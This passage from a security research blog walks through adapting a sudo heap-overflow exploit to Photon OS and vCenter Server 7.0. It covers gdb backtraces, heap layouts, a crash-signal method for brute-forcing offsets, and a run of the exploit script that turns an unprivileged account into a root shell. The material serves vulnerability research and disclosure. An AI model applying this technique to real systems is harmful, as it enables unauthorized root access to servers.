#0  0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
55    return INLINE_SYSCALL (tgkill, 3, pid, selftid, sig);
#0  0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
#1  0x00007ffff6fdaa78 in __GI_abort () at abort.c:90
#2  0x00007ffff701bef7 in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7ffff712e410 "*** Error in `%s': %s: 0x%s ***n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196
#3  0x00007ffff70242b9 in malloc_printerr (ar_ptr=0x7ffff736a760 , ptr=, str=0x7ffff712e518 "double free or corruption (out)", action=3) at malloc.c:4967
#4  _int_free (av=0x7ffff736a760 , p=, have_lock=0) at malloc.c:3843
#5  0x00007ffff64deb15 in free_default (def=0x55555578ebc0, binding=binding@entry=0x7fffffff7d50) at gram.y:1115
#6  0x00007ffff64deede in init_parser (path=path@entry=0x0, quiet=quiet@entry=false) at gram.y:1229
#7  0x00007ffff64bd3a6 in sudo_file_close (nss=0x7ffff67084a0 ) at ./parse.c:86
#8  0x00007ffff64c4386 in sudoers_cleanup () at ./sudoers.c:1266
#9  0x00007ffff757b14d in do_cleanup () at ./fatal.c:61
#10 0x00007ffff757b593 in sudo_fatalx_nodebug_v1 (fmt=) at ./fatal.c:86
#11 0x000055555556d8a0 in tgetpass (prompt=0x555555790cb0 "[sudo] password for test: ", timeout=300, flags=, callback=callback@entry=0x7fffffff8d80) at ./tgetpass.c:146
#12 0x000055555555ae68 in sudo_conversation (num_msgs=1, msgs=, replies=0x7fffffff8590, callback=0x7fffffff8d80) at ./conversation.c:70
#13 0x00007ffff64adb12 in auth_getpass (prompt=0x555555790cb0 "[sudo] password for test: ", type=type@entry=1, callback=callback@entry=0x7fffffff8d80) at auth/sudo_auth.c:452
#14 0x00007ffff64ae463 in converse (num_msg=1, msg=0x7fffffff8788, reply_out=0x7fffffff8780, vcallback=) at auth/pam.c:558
#15 0x00007ffff629e0b0 in pam_vprompt () from /lib64/libpam.so.0
#16 0x00007ffff629e2da in pam_prompt () from /lib64/libpam.so.0
#17 0x00007ffff247f468 in _unix_read_password () from /usr/lib64/security/pam_unix.so
#18 0x00007ffff247c4db in pam_sm_authenticate () from /usr/lib64/security/pam_unix.so
#19 0x00007ffff6298f0a in _pam_dispatch () from /lib64/libpam.so.0
#20 0x00007ffff62987d0 in pam_authenticate () from /lib64/libpam.so.0
#21 0x00007ffff64ae9ee in sudo_pam_verify (pw=, prompt=0x555555790cb0 "[sudo] password for test: ", auth=, callback=0x7fffffff8d80) at auth/pam.c:182
#22 0x00007ffff64add79 in verify_user (pw=0x5555557883e8, prompt=prompt@entry=0x555555790cb0 "[sudo] password for test: ", validated=validated@entry=96, callback=callback@entry=0x7fffffff8d80) at auth/sudo_auth.c:318
#23 0x00007ffff64afbb4 in check_user_interactive (auth_pw=0x5555557883e8, mode=, validated=96) at ./check.c:148
#24 check_user (validated=validated@entry=96, mode=) at ./check.c:218
#25 0x00007ffff64c5cc6 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff91a8, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff8eb0) at ./sudoers.c:440
#26 0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff91a8, env_add=0x0, command_infop=0x7fffffff8f38, argv_out=0x7fffffff8f40, user_env_out=0x7fffffff8f48) at ./policy.c:857
#27 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff8f48, argv_out=0x7fffffff8f40, command_info=0x7fffffff8f38, env_add=0x0, argv=0x7fffffff91a8, argc=2) at ./sudo.c:1179
#28 main (argc=, argv=, envp=0x7fffffff91c0) at ./sudo.c:245

Alternatively, if we reached a target defaults structure on the heap during bruteforce and successfully overwrote it with As, it will crash at [a] above. It will be inside set_cmnd() -> update_defaults() -> is_early_default() with an invalid name == 0x4141414141414141 when is_early_defaults() is called, as in the below code:

Consequently, it will result in a SIGSEGV(11) when the strcmp() is trying to access this invalid memory area. The corresponding backtrace is the following:

Program terminated with signal SIGSEGV, Segmentation fault.

warning: Unexpected size of section `.reg-xstate/121' in core file.
#0  update_defaults (what=what@entry=16, quiet=quiet@entry=false) at ./defaults.c:750
750    struct early_default *early = is_early_default(d->var);
#0  update_defaults (what=what@entry=16, quiet=quiet@entry=false) at ./defaults.c:750
#1  0x00007ffff64c5a51 in set_cmnd () at ./sudoers.c:911
#2  sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff9198, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff8ea0) at ./sudoers.c:310
#3  0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff9198, env_add=0x0, command_infop=0x7fffffff8f28, argv_out=0x7fffffff8f30, user_env_out=0x7fffffff8f38) at ./policy.c:857
#4  0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff8f38, argv_out=0x7fffffff8f30, command_info=0x7fffffff8f28, env_add=0x0, argv=0x7fffffff9198, argc=2) at ./sudo.c:1179
#5  main (argc=, argv=, envp=0x7fffffff91b0) at ./sudo.c:245

This difference in the way sudo crashes is enough to differentiate the two overflow states and figure out when we have overwritten the first defaults structure. It is found by incrementing the overwriting size until we find the right "defaults offset", as detailed in this table:

So the right "defaults offset" is 0x4140.

Summary

These are the conditions to reach for finding the "cmnd size" and "defaults offset":

Exploiting Photon OS / vCenter Server

Now that we have a good understanding of the vulnerability and exploitation approach, let’s go back to our real target: vCenter Server 7.0!

We used a docker container with Photon OS 3.0 to easily debug it.

Determining the right "cmnd size" and "defaults offset"

Before the allocation we have the following heap layout:

(gdb) ptlist -M 'tag, color' -G 'service_user, struct defaults, overflow, target' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555554d7c60
* 0x55555557c890 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c8f0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c950 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c9b0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c9f0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557ca60 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cad0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cb40 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cba0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cc00 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x555555580c50 F sz:0x00d70 fl:--P
* 0x555555586550 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x555555587850 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555555878b0 F sz:0x14750 fl:--P (top)
0x55555559c000 (sbrk_end)
[!] WARNING: Could not find these metadata: overflow, target
Total of 14 chunks

So we know that the "cmnd size" is 0xd70 and the "defaults offset" is (0x555555586550-(0x555555580c50+0xd70)=0x4b90)

Testing the exploit, it successfully found a "cmnd size" of 0xd70. However, it failed to find the right "defaults offset", as it found 0x41c0 instead of 0x4b90. So what exactly happened and how to do we fix it?

It stopped the bruteforce at 0x41c0 due to the following backtrace hit:

Program terminated with signal SIGSEGV, Segmentation fault.

warning: Unexpected size of section `.reg-xstate/136' in core file.
#0  0x00007ffff7d8a99b in userlist_matches () from /usr/lib/sudo/sudoers.so
#0  0x00007ffff7d8a99b in userlist_matches () from /usr/lib/sudo/sudoers.so
#1  0x00007ffff7d759d7 in sudoers_lookup () from /usr/lib/sudo/sudoers.so
#2  0x00007ffff7d7e951 in sudoers_policy_main () from /usr/lib/sudo/sudoers.so
#3  0x00007ffff7d77c22 in sudoers_policy_check () from /usr/lib/sudo/sudoers.so
#4  0x000055555555a0eb in policy_check (plugin=0x55555557a7a0 , user_env_out=0x7fffffff9c98, argv_out=0x7fffffff9c90, command_info=0x7fffffff9c88, env_add=0x0, argv=0x7fffffff9ef8, argc=2) at ./sudo.c:1138
#5  main (argc=, argv=, envp=) at ./sudo.c:253

Indeed this conflicts with Worawit’s detection method, since we can’t distinguish it from the SIGSEGV(11) crash in update_defaults() when it successfully accesses our corrupted defaults structure.

Let’s go back to the previous code snippet we analysed earlier for CentOS 7, but this time for Photon OS 3.0. The code is very similar. Note: we analysed the sudo code directly found on the original website due to Photon OS not providing the sudoers-specific code.

The important bit is that while increasing the "defaults offset" during bruteforce, we try to differentiate:

• A value too small (SIGABRT(6) and "no askpass" message when [C] hits later in sudoers_policy_main())
• A found value (SIGSEGV(11) when [A] hits early in sudoers_policy_main())

In the failure case shown above, we fail to differentiate between [A] and another SIGSEGV(11) at [E] so the exploit thinks it found the right "defaults offset" which is not the case!

If we look closer at the code, we see there is a lot of code between [C] and [A] and more importantly an if condition at [D] seems very interesting and falls between [A] and [E], which so far we’ve been unable to differentiate.

It appears that if we add the -C option to our sudo command line arguments, it should allow to differentiate:

• If the "defaults offset" is too small, it will hit [D] showing the "-C option" message and triggering a SIGABRT(6)
• If the "defaults offset" is found, it will triggers a SIGSEGV(11) at [A] earlier

This can easily be confirmed by debugging.

So the new conditions to reach for finding the "cmnd size" and "defaults offset" are:

Getting root on vCenter server

The last thing to recall is that /tmp is mounted as nosuid so we need to use a different path for the file we want to setuid root:

vsphere-ui@VCSA-7 [ ~ ]$ id
uid=1001(vsphere-ui) gid=100(users) groups=100(users)
vsphere-ui@VCSA-7 [ ~ ]$ pwd
/home/vsphere-ui
vsphere-ui@VCSA-7 [ ~ ]$ export SUID_PATH=/home/vsphere-ui/sshell

Now we can successfully exploit the vulnerability on vCenter Server 7.0!

vsphere-ui@VCSA-7 [ ~ ]$ python3 exploit_defaults_mailer.py 
Using SUID_PATH = /home/vsphere-ui/sshell
...
cmnd size: 0xd70
offset to defaults: 0xa70
sudoedit: mail_always:1347440720 option "mail_always" does not take a value
sudoedit: you are not permitted to use the -C option
success at 2357
execute "/home/vsphere-ui/sshell" to get root shell
vsphere-ui@VCSA-7 [ ~ ]$ /home/vsphere-ui/sshell
root [ /home/vsphere-ui ]# id
uid=0(root) gid=0(root) groups=0(root),100(users)

Conclusion

In this blog, we spent more time understanding the exploitation method internals than fixing the exploit so it works with new targets. This can be confirmed by the actual changes made in the exploit. Using libptmalloc, we were able to easily confirm the heap layout on new targets and environments. This would have been a lot more painful without it! Then, we were able to focus on the interesting part, finding ways to make the exploit more robust and work on vCenter Server!

What can we do with root access on a VMWare vCenter Server? First we need to understand what vCenter really is, and what data to target. This should allow to persist post-exploitation? This is left as an exercise for the reader…

Thanks

I really want to thank Aaron Adams for helping with this research. I also want to thank Alex Plaskett for proof-reading this blog.

I appreciate any feedback or corrections. If you would like to contact me, I can be reached by email or twitter: cedric(dot)halbronn(at)nccgroup(dot)com / @saidelike.